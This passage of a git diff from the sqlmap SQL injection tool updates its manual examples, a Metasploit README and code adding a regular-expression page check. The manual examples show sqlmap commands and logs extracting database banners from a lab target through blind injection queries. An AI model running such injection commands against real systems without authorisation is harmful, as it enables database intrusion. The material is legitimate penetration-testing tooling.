"http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3113,7 +3620,7 @@ back-end DBMS: PostgreSQL [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o +[hh:mm:42] [INFO] retrieved: PostgreSQL 8.3.5 o [hh:mm:43] [ERROR] user aborted @@ -3156,7 +3663,7 @@ in the example VERSION(), and resumes the injection from the last character retrieved to the end of the query output.
@@ -3186,10 +3693,10 @@ It is possible to save the command line options to a configuration INI file. -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3164,15 +3671,15 @@ back-end DBMS: PostgreSQL [hh:mm:37] [INFO] fetching banner [hh:mm:37] [INFO] retrieved the length of query output: 93 -[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o... +[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 o... [hh:mm:37] [INFO] retrieving pending 75 query output characters [hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), (CHR(32))) [hh:mm:37] [INFO] starting 1 threads [hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2' -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:@@ -3296,7 +3803,7 @@ case of a choice has to be done, you can force it by using --batch option than letting sqlmap go for a default behaviour. -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 --save [hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' @@ -3218,7 +3725,7 @@ proxy = referer = testParameter = threads = 1 -url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2 +url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1 userAgentsFile = [Miscellaneous] @@ -3277,11 +3784,11 @@ back-end DBMS: PostgreSQL [hh:mm:10] [INFO] fetching banner [hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) +[hh:mm:10] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [hh:mm:16] [INFO] performed 657 queries in 6 seconds -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2' -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" -v 1 \ diff --git a/extra/msfauxmod/README.txt b/extra/msfauxmod/README.txt index 71293e6d8..6ca799015 100644 --- a/extra/msfauxmod/README.txt +++ b/extra/msfauxmod/README.txt @@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow the example below. Note that if you are willing to run Metasploit's sqlmap auxiliary module on -Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to -your /modules/auxiliary/scanner/http/ folder then launch -msfconsole because this module has been officially integrated in Metasploit -from the release 3.2. +through WMAP framework you first need to install sqlmap on your system or +add its file system path to the PATH environment variable. + $ ./msfconsole diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 123f9bbc8..109096d7e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import re import time from lib.controller.action import action @@ -35,6 +36,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString +from lib.core.session import setRegexp from lib.request.connect import Connect as Request @@ -337,6 +339,38 @@ def checkString(): return False +def checkRegexp(): + if not conf.regexp: + return True + + condition = ( + kb.resumedQueries.has_key(conf.url) and + kb.resumedQueries[conf.url].has_key("Regular expression") and + kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp + ) + + if condition: + return True + + infoMsg = "testing if the provided regular expression matches within " + infoMsg += "the target URL page content" + logger.info(infoMsg) + + page = Request.queryPage(content=True) + + if re.search(conf.regexp, page, re.I | re.M): + setRegexp() + return True + else: + errMsg = "you provided '%s' as the regular expression to " % conf.regexp + errMsg += "match, but such a regular expression does not have any " + errMsg += "match within the target URL page content, please provide " + errMsg += "another regular expression." + logger.error(errMsg) + + return False + + def checkConnection(): infoMsg = "testing connection to the target url" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 201fd4260..b734b9d66 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkDynParam from lib.controller.checks import checkStability from lib.controller.checks import checkString +from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.core.common import paramToDict from lib.core.common import readInput @@ -117,7 +118,7 @@ def start(): if conf.multipleTargets: hostCount += 1 - message = "url %d:\n%s %s" % (hostCount, conf.method, targetUrl) + message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie @@ -140,7 +141,7 @@ def start(): initTargetEnv() - if not checkConnection() or not checkString(): + if not checkConnection() or not checkString() or not checkRegexp(): continue for _, cookie in enumerate(conf.cj): @@ -173,14 +174,14 @@ def start(): __testableParameters = True if not kb.injPlace or not kb.injParameter or not kb.injType: - if not conf.string: + if not conf.string and not conf.regexp and not conf.eRegexp: if checkStability(): logMsg = "url is stable" logger.info(logMsg) else: - errMsg = "url is not stable, try with --string option, refer " - errMsg += "to the user's manual paragraph 'String match' " - errMsg += "for details" + errMsg = "url is not stable, try with --string or " + errMsg += "--regexp options, refer to the user's manual " + errMsg += "paragraph 'Page comparison' for details" if conf.multipleTargets: errMsg += ", skipping to next url" @@ -214,7 +215,6 @@ def start(): if injType: injData.append((place, parameter, injType)) - kb.parenthesis = parenthesis break else: diff --git a/lib/core/session.py b/lib/core/session.py index 2cb7aa359..9d5001aa3 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -48,6 +48,20 @@ def setString(): dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) +def setRegexp(): + """ + Save regular expression to match in session file. + """ + + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Regular expression") ) + ) + + if condition: + dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp)) + + def setInjection(): """ Save information retrieved about injection place and parameter in the @@ -178,6 +192,28 @@ def resumeConfKb(expression, url, value): if not test or test[0] in ("y", "Y"): conf.string = string + elif expression == "Regular expression" and url == conf.url: + regexp = value[:-1] + + logMsg = "resuming regular expression match '%s' from session file" % regexp + logger.info(logMsg) + + if regexp and ( not conf.regexp or regexp != conf.regexp ): + if not conf.regexp: + message = "you did not provide any regular expression " + message += "to match. " + else: + message = "The regular expression you provided does not " + message += "match the resumed regular expression. " + + message += "Do you want to use the resumed regular expression " + message += "to be matched in page when the query " + message += "is valid? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + conf.regexp = regexp + elif expression == "Injection point" and url == conf.url: injPlace = value[:-1] diff --git a/lib/core/settings.py b/lib/core/settings.py index 3b56ec9a9..f78dc8e15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -30,7 +30,7 @@ import sys # sqlmap version and site -VERSION = "0.6.3-rc5" +VERSION = "0.6.3" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index dc5d5dc04..29f46d313 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import sys + from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser @@ -37,7 +39,7 @@ def cmdLineParser(): This function parses the command line parameters and arguments """ - usage = "sqlmap.py [options]" + usage = "%s [options]" % sys.argv[0] parser = OptionParser(usage=usage, version=VERSION_STRING) try: @@ -108,7 +110,12 @@ def cmdLineParser(): # Injection options - injection = OptionGroup(parser, "Injection") + injection = OptionGroup(parser, "Injection", "These options can be " + "used to specify which parameters to test " + "for, provide custom injection payloads and " + "how to parse and compare HTTP responses " + "page content when using the blind SQL " + "injection technique.") injection.add_option("-p", dest="testParameter", help="Testable parameter(s)") diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py index 0d9625014..80aebbab2 100644 --- a/lib/utils/parenthesis.py +++ b/lib/utils/parenthesis.py @@ -46,7 +46,11 @@ def checkForParenthesis(): count = 0 + if kb.parenthesis != None: + return + if conf.prefix or conf.postfix: + kb.parenthesis = 0 return for parenthesis in range(1, 4): diff --git a/sqlmap.conf b/sqlmap.conf index 69cefad24..b9dcd7df6 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -3,8 +3,8 @@ # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 # PHP and MySQL (local) -url = http://127.0.0.1/sqlmap/mysql/get_str.php?id=1 -#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1 +url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1 # PHP and Oracle (local) #url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1 # PHP and PostgreSQL (local) diff --git a/xml/banner/postgresql.xml b/xml/banner/postgresql.xml index 3f58f101c..39eb87cc8 100644 --- a/xml/banner/postgresql.xml +++ b/xml/banner/postgresql.xml @@ -7,6 +7,10 @@ - + ++ + +